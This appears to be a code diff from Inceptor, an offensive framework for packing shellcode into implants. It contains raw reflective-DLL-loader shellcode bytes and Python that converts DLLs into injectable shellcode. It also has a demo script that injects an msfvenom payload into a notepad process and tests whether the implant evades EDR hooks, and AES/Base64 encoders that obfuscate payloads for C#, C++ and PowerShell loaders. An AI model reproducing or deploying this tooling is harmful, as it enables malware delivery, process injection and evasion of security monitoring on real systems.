b'\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C' \
|
||||
b'\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39' \
|
||||
b'\xBF\x94\x00\x00\x00\x0F\x84\x82\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D' \
|
||||
b'\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B' \
|
||||
b'\xC4\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x89\x00\x00\x00\x45\x3B\xEB\x0F\x86\x80\x00' \
|
||||
b'\x00\x00\x41\xC1\xEC\x10\x45\x8D\x5D\xFF\x45\x8B\xD7\x45\x85\xDB\x74\x74\x4D\x8B\xC8\x41' \
|
||||
b'\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03' \
|
||||
b'\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10' \
|
||||
b'\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F' \
|
||||
b'\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41' \
|
||||
b'\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\xEB\x04\x44\x8B' \
|
||||
b'\x65\xC0\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xB1\x00\x00\x00\x8B\x7D\xC0\x8B' \
|
||||
b'\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10' \
|
||||
b'\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x5F\x48\x85\xC9\x79\x08\x45\x0F\xB7' \
|
||||
b'\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48' \
|
||||
b'\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x30\x45\x33\xC0\x48\x8D\x54\x24' \
|
||||
b'\x28\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4D\x8B\xCF\x49\x8B\xCA\xFF\x55\xD0\x49\x83' \
|
||||
b'\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA1\x45' \
|
||||
b'\x33\xFF\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xF0' \
|
||||
b'\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x56\xFF\xFF\xFF\x48\x8B\x7D\x30\x4C\x8B\x6D' \
|
||||
b'\xD0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xA9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49' \
|
||||
b'\x83\xC7\x04\x4C\x03\xFB\x45\x33\xE4\x41\x8B\x07\x85\xC0\x0F\x84\x8A\x00\x00\x00\x8B\xC8' \
|
||||
b'\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C' \
|
||||
b'\x48\x03\xF3\x4C\x03\xF3\x4C\x39\x26\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7' \
|
||||
b'\xC2\x33\xD2\xEB\x34\x4C\x8D\x43\x02\x49\x8B\xC4\x4C\x03\xC2\x45\x38\x20\x74\x0E\x49\x8B' \
|
||||
b'\xD0\x48\xFF\xC2\x48\xFF\xC0\x44\x38\x22\x75\xF5\x4C\x89\x44\x24\x30\x48\x8D\x54\x24\x28' \
|
||||
b'\x45\x33\xC0\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4C\x8B\xCE\x41\xFF\xD5\x48\x83\xC6' \
|
||||
b'\x08\x49\x83\xC6\x08\x4C\x39\x26\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x49\x83\xC7\x20\xE9' \
|
||||
b'\x6B\xFF\xFF\xFF\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00' \
|
||||
b'\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\x0B\x01\x00\x00\x48\x03\xF7\x44\x39\x3E\x0F\x84\xEB' \
|
||||
b'\x00\x00\x00\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x0F\xBA\xE0\x1E\x72\x11' \
|
||||
b'\x85\xC0\x78\x0D\x45\x8B\xC4\x44\x89\x64\x24\x20\xE9\xA4\x00\x00\x00\x85\xC9\x75\x3C\x0F' \
|
||||
b'\xBA\xE0\x1E\x72\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x68\x85\xC9\x75\x28\x0F\xBA\xE0' \
|
||||
b'\x1E\x73\x0A\x85\xC0\x78\x06\x44\x8D\x41\x02\xEB\x54\x85\xC9\x75\x14\x0F\xBA\xE0\x1E\x73' \
|
||||
b'\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x40\x85\xC9\x74\x5F\x0F\xBA\xE0\x1E\x72\x0C\x85' \
|
||||
b'\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x2A\x85\xC9\x74\x49\x0F\xBA\xE0\x1E\x72\x0C\x85' \
|
||||
b'\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x14\x85\xC9\x74\x33\x0F\xBA\xE0\x1E\x73\x11\x85' \
|
||||
b'\xC0\x78\x0D\x41\xB8\x20\x00\x00\x00\x44\x89\x44\x24\x20\xEB\x21\x85\xC9\x74\x18\x0F\xBA' \
|
||||
b'\xE0\x1E\x73\x12\x44\x8B\x44\x24\x20\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xDD' \
|
||||
b'\x44\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44' \
|
||||
b'\x24\x20\x8B\x4E\xFC\x4C\x8D\x4C\x24\x20\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06' \
|
||||
b'\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\xF8\xFE\xFF\xFF\x45\x33\xC0\x33\xD2\x48' \
|
||||
b'\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48' \
|
||||
b'\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48' \
|
||||
b'\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00' \
|
||||
b'\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1' \
|
||||
b'\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28' \
|
||||
b'\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\xB5\xB8\x00\x00\x00\x85\xF6' \
|
||||
b'\x0F\x84\x97\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x8F\x88' \
|
||||
b'\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x78\x44\x39\x79\x14\x74\x72\x44' \
|
||||
b'\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5D\x45\x8B' \
|
||||
b'\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x52\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D' \
|
||||
b'\x03\xC4\x41\x8A\x00\x84\xC0\x75\xEC\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC' \
|
||||
b'\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x22\xEB\xC3\x8B\x41\x1C\x0F\xB7\x0A\x48' \
|
||||
b'\x03\xC3\x8B\x95\xC8\x00\x00\x00\x44\x8B\x04\x88\x48\x8B\x8D\xC0\x00\x00\x00\x4C\x03\xC3' \
|
||||
b'\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70' \
|
||||
b'\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58' \
|
||||
b'\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B' \
|
||||
b'\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41' \
|
||||
b'\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6' \
|
||||
b'\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48' \
|
||||
b'\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0' \
|
||||
b'\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA' \
|
||||
b'\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76' \
|
||||
b'\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D' \
|
||||
b'\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5' \
|
||||
b'\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B' \
|
||||
b'\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B' \
|
||||
b'\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3 '
|
||||
# MARKER:E
|
||||
|
||||
if sRDI.is64BitDLL(dll_bytes):
|
||||
|
||||
rdi_shellcode = rdi_shellcode64
|
||||
|
||||
bootstrap = b''
|
||||
bootstrap_size = 64
|
||||
|
||||
# call next instruction (Pushes next instruction address to stack)
|
||||
bootstrap += b'\xe8\x00\x00\x00\x00'
|
||||
|
||||
# Set the offset to our DLL from pop result
|
||||
dll_offset = bootstrap_size - len(bootstrap) + len(rdi_shellcode)
|
||||
|
||||
# pop rcx - Capture our current location in memory
|
||||
bootstrap += b'\x59'
|
||||
|
||||
# mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
|
||||
bootstrap += b'\x49\x89\xc8'
|
||||
|
||||
# add rcx, <Offset of the DLL>
|
||||
bootstrap += b'\x48\x81\xc1'
|
||||
bootstrap += struct.pack('I', dll_offset)
|
||||
|
||||
# mov edx, <Hash of function>
|
||||
bootstrap += b'\xba'
|
||||
bootstrap += struct.pack('I', function_hash)
|
||||
|
||||
# Setup the location of our user data
|
||||
# add r8, <Offset of the DLL> + <Length of DLL>
|
||||
bootstrap += b'\x49\x81\xc0'
|
||||
user_data_location = dll_offset + len(dll_bytes)
|
||||
bootstrap += struct.pack('I', user_data_location)
|
||||
|
||||
# mov r9d, <Length of User Data>
|
||||
bootstrap += b'\x41\xb9'
|
||||
bootstrap += struct.pack('I', len(user_data))
|
||||
|
||||
# push rsi - save original value
|
||||
bootstrap += b'\x56'
|
||||
|
||||
# mov rsi, rsp - store our current stack pointer for later
|
||||
bootstrap += b'\x48\x89\xe6'
|
||||
|
||||
# and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
|
||||
bootstrap += b'\x48\x83\xe4\xf0'
|
||||
|
||||
# sub rsp, 0x30 - Create some breathing room on the stack
|
||||
bootstrap += b'\x48\x83\xec'
|
||||
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
|
||||
|
||||
# mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
|
||||
bootstrap += b'\xC7\x44\x24'
|
||||
bootstrap += b'\x20'
|
||||
bootstrap += struct.pack('I', flags)
|
||||
|
||||
# call - Transfer execution to the RDI
|
||||
bootstrap += b'\xe8'
|
||||
bootstrap += struct.pack('b',
|
||||
bootstrap_size - len(bootstrap) - 4) # Skip over the remainder of instructions
|
||||
bootstrap += b'\x00\x00\x00'
|
||||
|
||||
# mov rsp, rsi - Reset our original stack pointer
|
||||
bootstrap += b'\x48\x89\xf4'
|
||||
|
||||
# pop rsi - Put things back where we left them
|
||||
bootstrap += b'\x5e'
|
||||
|
||||
# ret - return to caller
|
||||
bootstrap += b'\xc3'
|
||||
|
||||
if len(bootstrap) != bootstrap_size:
|
||||
raise Exception(f"x64 bootstrap length: {len(bootstrap)} != bootstrap_size: {bootstrap_size}")
|
||||
|
||||
# Ends up looking like this in memory:
|
||||
# Bootstrap shellcode
|
||||
# RDI shellcode
|
||||
# DLL bytes
|
||||
# User data
|
||||
return bootstrap + rdi_shellcode + dll_bytes + user_data
|
||||
|
||||
else: # 32 bit
|
||||
rdi_shellcode = rdi_shellcode32
|
||||
|
||||
bootstrap = b''
|
||||
bootstrap_size = 49
|
||||
|
||||
# call next instruction (Pushes next instruction address to stack)
|
||||
bootstrap += b'\xe8\x00\x00\x00\x00'
|
||||
|
||||
# Set the offset to our DLL from pop result
|
||||
dll_offset = bootstrap_size - len(bootstrap) + len(rdi_shellcode)
|
||||
|
||||
# pop eax - Capture our current location in memory
|
||||
bootstrap += b'\x58'
|
||||
|
||||
# push ebp
|
||||
bootstrap += b'\x55'
|
||||
|
||||
# mov ebp, esp
|
||||
bootstrap += b'\x89\xe5'
|
||||
|
||||
# mov edx, eax - copy our location in memory to ebx before we start modifying eax
|
||||
bootstrap += b'\x89\xc2'
|
||||
|
||||
# add eax, <Offset to the DLL>
|
||||
bootstrap += b'\x05'
|
||||
bootstrap += struct.pack('I', dll_offset)
|
||||
|
||||
# add edx, <Offset to the DLL> + <Size of DLL>
|
||||
bootstrap += b'\x81\xc2'
|
||||
user_data_location = dll_offset + len(dll_bytes)
|
||||
bootstrap += struct.pack('I', user_data_location)
|
||||
|
||||
# push <Flags>
|
||||
bootstrap += b'\x68'
|
||||
bootstrap += struct.pack('I', flags)
|
||||
|
||||
# push <Length of User Data>
|
||||
bootstrap += b'\x68'
|
||||
bootstrap += struct.pack('I', len(user_data))
|
||||
|
||||
# push edx
|
||||
bootstrap += b'\x52'
|
||||
|
||||
# push <hash of function>
|
||||
bootstrap += b'\x68'
|
||||
bootstrap += struct.pack('I', function_hash)
|
||||
|
||||
# push eax
|
||||
bootstrap += b'\x50'
|
||||
|
||||
# call - Transfer execution to the RDI
|
||||
bootstrap += b'\xe8'
|
||||
bootstrap += struct.pack('b',
|
||||
bootstrap_size - len(bootstrap) - 4) # Skip over the remainder of instructions
|
||||
bootstrap += b'\x00\x00\x00'
|
||||
|
||||
# add esp, 0x14 - remove arguments from stack (cdecl)
|
||||
bootstrap += b'\x83\xc4\x14'
|
||||
|
||||
# leave
|
||||
bootstrap += b'\xc9'
|
||||
|
||||
# ret - return to caller
|
||||
bootstrap += b'\xc3'
|
||||
|
||||
if len(bootstrap) != bootstrap_size:
|
||||
raise Exception(f"x86 bootstrap length: {len(bootstrap)} != bootstrap_size: {bootstrap_size}")
|
||||
|
||||
# Ends up looking like this in memory:
|
||||
# Bootstrap shellcode
|
||||
# RDI shellcode
|
||||
# DLL bytes
|
||||
# User data
|
||||
return bootstrap + rdi_shellcode + dll_bytes + user_data
|
||||
|
||||
def transform(self, target):
|
||||
dll = open(target, 'rb').read()
|
||||
flags = self.flags
|
||||
converted = sRDI.ConvertToShellcode(dll, sRDI.HashFunctionName(self.function), self.args, flags)
|
||||
return converted
|
|
@ -0,0 +1,8 @@
|
|||
@echo off
|
||||
|
||||
if "%1" == "" GOTO MISSING_FILE
|
||||
cmd /k powershell -exec bypass ".\demo.ps1" "%1"
|
||||
exit /b
|
||||
|
||||
:MISSING_FILE
|
||||
echo [-] Usage demo [filename]
|
|
@ -0,0 +1,69 @@
|
|||
function Invoke-Demo{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Easy script to launch a test to see if the functions used by an implant are intercepted by
|
||||
a very simple EDR (Frida xD LOL)
|
||||
# Run
|
||||
.\demo.bat <implant-filename>
|
||||
.EXAMPLE
|
||||
# Generate a shellcode file to spawn a calculator on Windows
|
||||
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUND=thread -o calc.raw
|
||||
# Pack the shellcode with Inceptor and generate a dotnet implant using Process Injection but no special technique
|
||||
python inceptor.py dotnet calc.raw --pinject --delay 5 -o demo\note.exe
|
||||
# Launch the demo, all the Native functions should be successfully intercepted by frida
|
||||
demo.bat note.exe
|
||||
|
||||
# Pack the shellcode with Inceptor and generate a dotnet implant using Process Injection but
|
||||
# this time add the dinvoke option
|
||||
python inceptor.py dotnet calc.raw --pinject --delay 5 -o demo\note-dinvoke.exe --dinvoke
|
||||
# Launch the demo, nothing should be hooked this time
|
||||
demo.bat note-dinvoke.exe
|
||||
#>
|
||||
param (
|
||||
[Parameter(Mandatory, ValueFromPipelineByPropertyName)]
|
||||
[String]
|
||||
[Alias('FullName')]
|
||||
$FilePath
|
||||
)
|
||||
|
||||
if (-not (Test-Path -Path $FilePath)) {
|
||||
Write-Error "$FilePath does not exist"
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
$FileFullPath = Resolve-Path -Path $FilePath
|
||||
|
||||
# Step 1: Spawn sacrificial process
|
||||
# This process will be used to perform the shellcode injection
|
||||
|
||||
Write-Host "[*] Starting Notepad"
|
||||
$pHandle = (Start-Process "notepad.exe" -PassThru)
|
||||
Sleep 1
|
||||
$victim_pid = $pHandle.Id
|
||||
|
||||
# Step 2: Start the implant
|
||||
# If everyting works fine, the implant should wait 5-15 seconds to execute the code
|
||||
# NW: Ensure you've packed the shellcode using the --delay option!!!
|
||||
|
||||
Write-Host "[*] Starting code injection demo loader"
|
||||
$demoHandle = (Start-Process "$FileFullPath" -PassThru -Args $victim_pid)
|
||||
Sleep 1
|
||||
$demo_pid = $demoHandle.Id
|
||||
|
||||
# If you'd like to see the difference between Native and .NET when using Syscalls,
|
||||
# add also the hooks for NtAllocateVirtualMemory and NtWriteVirtualMemory
|
||||
# $hooked_array = @("NtCreateThreadEx", "NtAllocateVirtualMemory", "NtWriteVirtualMemory")
|
||||
$hooked_array = @("NtCreateThreadEx")
|
||||
$hooked = [string]::join(" -i ", $hooked_array)
|
||||
|
||||
# Step 3: Start frida-trace against the implant, trying to intercept native APIs
|
||||
# Target APIs are "NtCreateThreadEx", "NtAllocateVirtualMemory", "NtWriteVirtualMemory"
|
||||
|
||||
Write-Host "[*] Starting frida hooking"
|
||||
Write-Host "[*] Intercepting $hooked_array"
|
||||
Start-Process "cmd.exe" -Args "/k frida-trace -x ntdll.dll -i $hooked -p $demo_pid"
|
||||
|
||||
}
|
||||
|
||||
Invoke-Demo -FilePath "$args"
|
|
@ -0,0 +1,99 @@
|
|||
import base64
|
||||
import secrets
|
||||
import string
|
||||
import struct
|
||||
from binascii import hexlify
|
||||
from itertools import islice, cycle
|
||||
|
||||
from Crypto.Protocol.KDF import PBKDF2
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Random import get_random_bytes
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
|
||||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.DefineComponent import DefineComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class AesEncryptor(Encoder):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [bytes]
|
||||
self.decoder_out = [bytes]
|
||||
self.key = ''.join(secrets.choice(".+-,:;_%=()" + string.ascii_letters + string.digits) for _ in range(36)).encode()
|
||||
self.salt = ''.join(secrets.choice(".+-,:;_%=()" + string.ascii_letters + string.digits) for _ in range(18)).encode()
|
||||
self.derived_key = PBKDF2(self.key.decode(), self.salt, 32, 1000)
|
||||
self.iv = PBKDF2(self.key.decode(), self.salt, 48, 1000)[32:]
|
||||
|
||||
@property
|
||||
def c_key(self):
|
||||
k = hexlify(self.derived_key).decode()
|
||||
return ",".join([f"0x{k[i:i+2]}" for i in range(0, len(k), 2)])
|
||||
|
||||
@property
|
||||
def c_iv(self):
|
||||
k = hexlify(self.iv).decode()
|
||||
return ",".join([f"0x{k[i:i+2]}" for i in range(0, len(k), 2)])
|
||||
|
||||
def encode(self, data):
|
||||
if not isinstance(data, bytes):
|
||||
data = data.encode()
|
||||
cipher = AES.new(self.derived_key, AES.MODE_CBC, self.iv)
|
||||
encrypted = cipher.encrypt(pad(data, AES.block_size))
|
||||
return encrypted
|
||||
|
||||
def decode(self, data):
|
||||
cipher = AES.new(self.derived_key, AES.MODE_CBC, self.iv)
|
||||
return unpad(cipher.decrypt(data), AES.block_size)
|
||||
|
||||
def supported_languages(self):
|
||||
|
||||
return [Language.CSHARP, Language.POWERSHELL, Language.CPP]
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=None):
|
||||
module = EncoderModule()
|
||||
module.name = self.__class__.__name__
|
||||
|
||||
code = self.template(language=language)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
module.call_component = CallComponent("AesEncryptor.Decrypt")
|
||||
module.components = [
|
||||
UsingComponent("System.Security.Cryptography", language=language),
|
||||
UsingComponent("System.IO", language=language),
|
||||
CodeComponent(code.replace("####KEY####", self.key.decode()).replace("####SALT####", self.salt.decode()))
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
module.call_component = CallComponent("length = aes_decrypt(encoded, length);")
|
||||
module.components = [
|
||||
UsingComponent("<string.h>", language=language),
|
||||
UsingComponent("<stdint.h>", language=language),
|
||||
UsingComponent("<stddef.h>", language=language),
|
||||
DefineComponent(r"""#define CBC 1
|
||||
#define AES256 1
|
||||
|
||||
#define AES_BLOCKLEN 16
|
||||
#define AES_KEYLEN 32
|
||||
#define AES_keyExpSize 240
|
||||
#define Nk 8
|
||||
#define Nr 14
|
||||
#define Nb 4
|
||||
|
||||
#ifndef MULTIPLY_AS_A_FUNCTION
|
||||
#define MULTIPLY_AS_A_FUNCTION 0
|
||||
#endif
|
||||
""", language=language),
|
||||
CodeComponent(code.replace("####KEY####", self.c_key).replace("####IV####", self.c_iv)
|
||||
)
|
||||
]
|
||||
elif language == Language.POWERSHELL:
|
||||
module.call_component = CallComponent("Invoke-AesDecrypt")
|
||||
|
||||
module.components = [
|
||||
CodeComponent(code.replace("####KEY####", self.key.decode()).replace("####SALT####", self.salt.decode()))
|
||||
]
|
||||
return module
|
|
@ -0,0 +1,55 @@
|
|||
import base64
|
||||
|
||||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class Base64Encoder(Encoder):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [str, bytes]
|
||||
self.decoder_out = [bytes]
|
||||
|
||||
def encode(self, data):
|
||||
if isinstance(data, str):
|
||||
data = bytes(data, 'utf-8')
|
||||
return base64.b64encode(data).decode()
|
||||
|
||||
def decode(self, data):
|
||||
return base64.b64decode(data)
|
||||
|
||||
def supported_languages(self):
|
||||
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=None):
|
||||
module = EncoderModule()
|
||||
module.name = self.__class__.__name__
|
||||
|
||||
code = self.template(language=language)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
module.call_component = CallComponent("Base64Encoder.Decode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
elif language == Language.POWERSHELL:
|
||||
|
||||
module.call_component = CallComponent("Invoke-Base64Decode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
|
||||
module.call_component = CallComponent("length = base64_decode(encoded, length);")
|
||||
module.components = [
|
||||
UsingComponent("<string.h>", language=language),
|
||||
UsingComponent("<stdint.h>", language=language),
|
||||
UsingComponent("<stddef.h>", language=language),
|
||||
CodeComponent(code)
|
||||
]
|
||||
|
||||
return module
|
|
@ -0,0 +1,73 @@
|
|||
import sys
|
||||
from abc import ABC, abstractmethod
|
||||
from enum import Enum
|
||||
from pathlib import Path
|
||||
|
||||
from config.Config import Config
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.console import Console
|
||||
|
||||
|
||||
class EncoderTypes(Enum):
|
||||
OBFUSCATOR = "Obfuscator"
|
||||
ENCRYPTOR = "Encryptor"
|
||||
ENCODER = "Encoder"
|
||||
|
||||
@staticmethod
|
||||
def to_list():
|
||||
return [e.value for e in list(EncoderTypes)]
|
||||
|
||||
|
||||
class Encoder(ABC):
|
||||
|
||||
def __init__(self, order=None):
|
||||
self.implementations_dir: Path = Config().get_path("DIRECTORIES", "encoders")
|
||||
self.decoder_in = None
|
||||
self.decoder_out = None
|
||||
self.order = order
|
||||
pass
|
||||
|
||||
def set_order(self, order):
|
||||
self.order = order
|
||||
|
||||
@abstractmethod
|
||||
def encode(self, data):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def decode(self, data):
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def translate(self, language=None, arch=Arch.x64) -> EncoderModule:
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def supported_languages(self) -> list:
|
||||
pass
|
||||
|
||||
def template(self, language: Language):
|
||||
base = ""
|
||||
ext = ""
|
||||
encoder = self.__class__.__name__.lower().replace('encoder', '').replace('encryptor', '')
|
||||
if language == Language.CSHARP:
|
||||
base = "dotnet"
|
||||
ext = ".cs"
|
||||
elif language == Language.CPP:
|
||||
base = "native"
|
||||
ext = ".cpp"
|
||||
elif language == Language.POWERSHELL:
|
||||
base = "powershell"
|
||||
ext = ".ps1"
|
||||
source = self.implementations_dir.joinpath(base).joinpath(
|
||||
f"{encoder}{ext}")
|
||||
|
||||
if not source.exists():
|
||||
Console.auto_line(f"[-] {encoder} not supported in {language.name}")
|
||||
sys.exit(1)
|
||||
return open(str(source)).read()
|
||||
|
||||
def is_supported(self, language):
|
||||
return language in self.supported_languages()
|
|
@ -0,0 +1,138 @@
|
|||
import traceback
|
||||
from collections import OrderedDict
|
||||
from pydoc import locate
|
||||
|
||||
from config.Config import Config
|
||||
from encoders.Encoder import Encoder, EncoderTypes
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class EncoderChain:
|
||||
def __init__(self):
|
||||
self.chain = OrderedDict()
|
||||
self.current = 0
|
||||
|
||||
def is_empty(self):
|
||||
return len(self.chain) == 0
|
||||
|
||||
def to_string(self):
|
||||
return "->".join([e.__class__.__name__ for e in self.chain.values()])
|
||||
|
||||
@property
|
||||
def last(self):
|
||||
return max(self.current - 1, 0)
|
||||
|
||||
@property
|
||||
def last_element(self):
|
||||
try:
|
||||
return self.chain[max(self.current - 1, 0)]
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
def prepend(self, value: Encoder):
|
||||
value.order = 0
|
||||
for e in self.chain.values():
|
||||
e.order += 1
|
||||
self.chain[self.current] = value
|
||||
self.chain.move_to_end(self.current, last=False)
|
||||
self.current += 1
|
||||
|
||||
def push(self, value: Encoder):
|
||||
value.order = self.current
|
||||
self.chain[self.current] = value
|
||||
self.current += 1
|
||||
|
||||
def pop(self) -> Encoder:
|
||||
self.current -= 1
|
||||
return self.chain.popitem()[1]
|
||||
|
||||
def delete(self, index) -> bool:
|
||||
if index not in self.chain.keys():
|
||||
return False
|
||||
